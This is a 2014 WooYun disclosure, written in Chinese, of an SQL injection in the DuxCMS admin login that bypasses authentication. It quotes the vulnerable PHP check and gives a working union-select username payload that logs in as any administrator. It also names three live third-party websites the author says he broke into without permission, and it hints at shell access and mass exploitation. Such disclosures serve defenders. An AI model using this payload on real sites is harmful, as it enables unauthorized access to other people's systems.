当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063055

漏洞标题:duxcms sql注射导致后台登录绕过

相关厂商:duxcms

漏洞作者: phith0n

提交时间:2014-06-10 17:12

修复时间:2014-09-08 17:14

公开时间:2014-09-08 17:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-09-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

逗逗让我测试的cms之三,直接登录任意管理账号。
因为官网没有demo站,我随便百度了一个站做了测试,成功进入后台,前两个已经说到了,shell很好拿。

详细说明:

后台登录处存在sql注入,可万能密码,不需要知道用户名,可以登录任意账号。
/admin/module/loginMod.class.php,第16行:

public function check(){
if(empty($_POST['user'])||empty($_POST['password'])){
$this->msg('帐号信息输入错误!',0);
}
//获取帐号信息
$info=model('login')->user_info($_POST['user']);
//进行帐号验证
if(empty($info)){
$this->msg('登录失败! 无此管理员帐号!',0);
}
if($info['password']<>md5($_POST['password'])){
$this->msg('登录失败! 密码错误!',0);
}
if($info['status']==0){
$this->msg('登录失败! 帐号已禁用!',0);
}
//更新帐号信息
$data['logintime']=time();
$data['ip']=get_client_ip();
$data['loginnum']=intval($info['loginnum'])+1;
model('login')->edit($data,intval($info['id']));
//更新登录记录
model('log')->login_log($info);
//设置登录信息
$_SESSION[$this->config['SPOT'].'_user']=$info['id'];
model('user')->current_user(false);
$this->msg('登录成功!',1);

}


直接将$_POST放入查询。然后获得用户信息,比较password和$_POST['password']是否相同。
这样的万能密码怎么构造?
仍然可以利用联合查询,union select出随便一个md5,比如1的md5值c4ca4238a0b923820dcc509a6f75849b,post的时候提交1,计算md5以后正好和union select出来的相同,即可登录后台。
详见漏洞证明。

漏洞证明:

后台登录用户名输入

-1" union select 1,2,3,'c4ca4238a0b923820dcc509a6f75849b',5,6,7,8,9,10,11#


密码填写1

09.jpg


union select后的第一个1就是管理员id,md5值是1的md5。登录任意账号只要修改id即可,一般id为1的用户就是创始人。
登录成功进入:

10.jpg


互联网实例:
http://3galarm.cn/:

11.jpg


http://mwx.muc.edu.cn/:

12.jpg


http://www.guoyingjx.com/:

13.jpg


多的不再举例了,影响还是挺大的,可以批量的节奏~

修复方案:

in($_POST['user'])

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝